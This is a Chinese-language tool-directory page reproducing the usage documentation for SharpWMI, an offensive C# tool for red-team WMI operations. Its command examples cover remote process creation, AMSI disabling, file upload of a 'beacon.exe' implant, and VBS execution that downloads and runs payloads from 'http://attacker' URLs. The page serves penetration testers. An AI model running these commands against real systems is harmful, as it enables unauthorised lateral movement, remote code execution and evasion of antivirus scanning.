Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpWMI — SharpWMI 是一个用 C# 实现的各种 WMI 功能的工具。 | Kitploit
工具/GitHubGitHub/ghostpack/sharpwmi
权限提升横向移动信息收集后渗透利用渗透测试命令与控制红队远程访问工具
GitHubghostpack/sharpwmi

SharpWMI

SharpWMI 是一个用 C# 实现的各种 WMI 功能的工具。

查看仓库
7671375年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SharpWMI


SharpWMI 是一个 C# 实现的多种 WMI 功能集合。包括本地/远程 WMI 查询、通过 win32_process 远程创建进程、以及通过 WMI 事件订阅远程执行任意 VBS。远程方法还支持备用凭据。

@harmj0y 是主要作者。

SharpWMI 使用 BSD 3-Clause 许可证授权。

用法

root@kitploit:~
  本地系统枚举:
    SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]

  远程系统枚举:
    SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]

  远程系统已登录用户枚举:
    SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]

  远程进程创建:
    SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]

  远程 VBS 执行:
    SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]

  通过 WMI 上传文件:
    SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]

  远程防火墙枚举:
    SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
    
  列出进程:
    SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]

  终止进程(首个找到的):
    SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]

  获取环境变量(若不指定名称则获取全部):
    SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]

  设置环境变量:
    SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]

  删除环境变量:
    SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]

  安装 MSI 文件:
    SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]

注意:
  - 任何远程函数也可接受可选的 username=DOMAIN\\user、password=Password123! 参数。
  - 若不指定 computername,则目标为本地主机。

action=exec(或 action=create)选项中的 result=true 使得 SharpWMI 在远程 WMI 进程创建后返回命令的输出。其工作原理是将命令输出存储在任意 WMI 对象的实例中。该对象随后由调用者获取并恢复为原始值。

VBS 脚本执行:

与原本的 SharpWMI 相比,executevbs 操作经过了重构。[script-specification] 中定义的脚本规范提供了以下方法,用于将本工具指向目标 VBS 代码:

root@kitploit:~
  A) 通过预设的 VBS 代码执行操作系统命令:
    SharpWMI.exe action=executevbs [...] command="notepad.exe"

  B) 从 URL 下载 PowerShell 命令,并通过 VBS 通过 PowerShell 的标准输入执行:
    SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"

  C) 从给定 URL 下载二进制文件,存储在指定路径,然后执行它:
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"

  D) 从给定 URL 下载二进制文件,存储在指定路径,然后执行任意命令:
                                         url="SOURCE_URL,TARGET_PATH"
    SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"

  E) 从文件中读取 VBS 脚本并执行:
    SharpWMI.exe action=executevbs [...] script="myscript.vbs"

  F) 按字面执行给定的 VBS 脚本:
    SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"

  G) 对输入字符串进行 Base64 解码(该字符串为编码后的 VBS 脚本),并在远程机器上执行:
    SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"

  H) 读取给定文件的内容,进行 Base64 解码,然后在目标机器上执行:
    SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"

  最后,'executevbs' 操作还可以定义额外的 [time-specs](以秒为单位),它们指定脚本触发和等待超时:
    SharpWMI.exe action=executevbs [...] trigger=5 timeout=10

示例:

root@kitploit:~
  SharpWMI.exe action=query query=""select * from win32_process""

  SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""

  SharpWMI.exe action=loggedon computername=primary.testlab.local

  SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""

  SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""

  SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable

  SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""

  SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable

  SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer

  SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local

  SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local

  SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local

  SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""

从远程 Windows 10 机器获取本地 TCP netstat 样式信息:

root@kitploit:~
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"

编译说明

我们不打算发布 SharpWMI 的二进制文件,因此您需要自行编译 :)

SharpWMI 基于 .NET 3.5 构建,并与 Visual Studio 2015 Community Edition 兼容。只需打开项目 .sln,选择“Release”,然后生成即可。

作者

下载工具
贡献作者
原始 SharpWMI 实现Will Schroeder @harmj0y
WMI 代码执行输出思路Evi1cg @Ridter
取自 SharpMove 的 AMSI 绕过代码Steven Flores 0xthirteen
增强功能、VBS 灵活性、文件上传Mariusz B. / mgeeky @mariuszbit
安装 MSI 文件Justin Bui @slyd0g